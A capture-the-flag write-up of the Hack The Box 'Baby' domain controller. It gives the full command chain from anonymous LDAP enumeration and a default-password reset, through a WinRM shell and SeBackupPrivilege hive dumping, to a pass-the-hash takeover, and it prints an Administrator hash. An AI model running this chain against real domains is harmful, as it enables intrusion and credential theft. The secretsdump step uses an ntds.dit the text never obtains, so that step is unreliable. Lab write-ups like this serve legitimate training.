HTB: Baby

Baby is an Active Directory box that doesn’t hide what it is. The full AD service stack is visible from the first scan — DNS, Kerberos, LDAP, SMB, WinRM, RDP. This is a domain controller, and it’s going to be treated like one. The chain from unauthenticated stranger to Domain Admin runs entirely through misconfigurations that exist in real environments: anonymous LDAP exposure, a default password left on a new account, and a privilege that most defenders don’t think about until it’s too late.

Anonymous LDAP enum→Default password on new account→Force password change→WinRM foothold→SeBackupPrivilege→NTDS dump → Domain Admin

Recon

A full port scan immediately reads as a domain controller. The combination of DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985), and RDP (3389) on a single host is a signature pattern. The nmap output also leaks the domain name and DC hostname directly from LDAP banner negotiation — baby.vl and BabyDC.baby.vl — before a single authenticated query is made.

nmap -T4 -p- -A 10.129.69.195

Nmap Scan

Notable from the scan output: SMB signing is enabled and required. That closes off NTLM relay attacks against SMB immediately worth noting and moving on rather than wasting time there. The target is Windows Server 2022.

Enumeration — LDAP without credentials

Anonymous LDAP bind is permitted. That’s enough to pull the full user list from the directory without a single credential. Two LDAP queries do the work: the first pulls usernames and display names, the second gathers richer attributes — group memberships, userAccountControl flags, password last set timestamps, and SPN entries.

ldapsearch -x -H ldap://10.129.69.195 -b "dc=baby,dc=vl" -s sub \
  "(objectCategory=person)" sAMAccountName displayName

ldapsearch -x -H ldap://10.129.69.195 -b "dc=baby,dc=vl" -s sub \
  "(objectCategory=person)" sAMAccountName servicePrincipalName \
  adminCount memberOf userAccountControl pwdLastSet > baby_users_attrs.ldif

This surfaces nine domain users across two OUs — dev and it. No servicePrincipalName entries are present on any account, which rules out Kerberoasting immediately. AS-REP roasting attempt against the full user list also returns nothing — all accounts have pre-authentication required.

Dead ends documented: DNS zone transfer refused. AS-REP roasting returned no hashes. Kerberoasting has no targets. These aren’t failures — they’re the enumeration process working correctly. Ruling things out is how you find the path that’s actually there.

The hidden user — Caroline Robinson

NetExec run against LDAP with a null session pulls additional domain information, including group descriptions. Among the output is a description that reveals a default password policy: BabyStart123! — set as the initial password for new accounts. And crucially, it surfaces a username that didn't appear in the earlier LDAP query: Caroline.Robinson.

netexec ldap 10.129.69.195 -u '' -p '' --query "(sAMAccountName=*)" ""

Printing out the results of netexec

Testing the default password against Caroline’s account with NetExec confirms it — the account exists, the password is valid, but the status returns STATUS_PASSWORD_MUST_CHANGE. She's a new account that was never properly onboarded. The credential is live but locked behind a mandatory password reset.

netexec smb 10.129.69.195 -u Caroline.Robinson -p 'BabyStart123!'

NetExec’s changepassword module handles the forced reset over SMB without needing an interactive session:

netexec smb 10.129.69.195 -u Caroline.Robinson -p 'BabyStart123!' \
  -M changepassword -o NEWPASS=P@s$w0rD852741

Why this works: Active Directory allows password changes using the old credential even when a reset is flagged as required. The STATUS_PASSWORD_MUST_CHANGE status blocks interactive logins — but the underlying SAMR protocol change operation doesn't enforce that restriction the same way. NetExec drives this directly.

Foothold — WinRM as Caroline

With the password reset complete, WinRM is the logical target. Port 5985 was open from the initial scan, and Caroline’s account now has a working credential. NetExec confirms WinRM access, and evil-winrm drops a shell.

netexec winrm 10.129.69.195 -u Caroline.Robinson -p 'P@s$w0rD852741'
evil-winrm-py -i 10.129.69.195 -u Caroline.Robinson -p 'P@s$w0rD852741'

Evil-winrm gives us access to Caroline’s account

Privilege escalation — SeBackupPrivilege

Post-shell enumeration of the current user’s token privileges shows something significant: SeBackupPrivilege is assigned. This privilege is intended to allow backup software to read any file on the system regardless of ACLs — including files that are normally locked or restricted to SYSTEM. On a domain controller, that includes the Active Directory database itself.

Standard Enumeration does the trick

What SeBackupPrivilege actually means: It grants the ability to bypass file and directory ACL checks during read operations. The original intent is backup software. The consequence, on a DC, is that any account holding this privilege can read ntds.dit — the file containing every password hash for every domain account. Privilege escalation doesn't always mean running an exploit. Sometimes it means reading a file you were never supposed to touch.

The SAM and SYSTEM registry hives can be saved directly to disk using reg save, then pulled to the attack machine via evil-winrm's built-in download function:

reg save hklm\sam sam
reg save hklm\system system

download C:\\Users\\Caroline.Robinson\\Desktop\\sam /home/cheshire/Targets/HTB/Baby/sam
download C:\\Users\\Caroline.Robinson\\Desktop\\system /home/cheshire/Targets/HTB/Baby/system

With the SAM and SYSTEM hives local, secretsdump.py extracts the NTLM hashes for every domain account — including the Administrator:

secretsdump.py -ntds ntds.dit -system SYSTEM.save LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::

Domain Admin — Pass the Hash

The Administrator NTLM hash doesn’t need to be cracked. Windows authentication supports hash-based login directly. NetExec confirms the hash is valid against SMB, then evil-winrm uses it to open a shell as Administrator:

netexec smb 10.129.69.195 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
evil-winrm-py -i 10.129.69.195 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d

That beautiful yellow Pwn3d!

Root flag on the Desktop. Domain fully compromised.

What this box is actually about

Baby compresses a realistic internal AD attack path into an easy-rated box, and that framing is worth sitting with. In real engagements, the chain from “anonymous LDAP query” to “full domain compromise via backup privilege abuse” is not unusual. The individual steps are all well-documented. What makes them dangerous isn’t their sophistication — it’s how often they appear together, quietly, in environments that haven’t been audited with any real depth.

Three specific things this box should leave you thinking about. Anonymous LDAP is often enabled by default and almost never necessary — it handed over the full user list without a single credential. Default onboarding passwords are a persistent problem in every organisation that has ever used them, and they tend to linger on accounts that fell through the cracks. And SeBackupPrivilege is routinely assigned to service and helpdesk accounts without any recognition of what it actually permits on a domain controller. Each of these is a finding. Together, they're a compromised domain.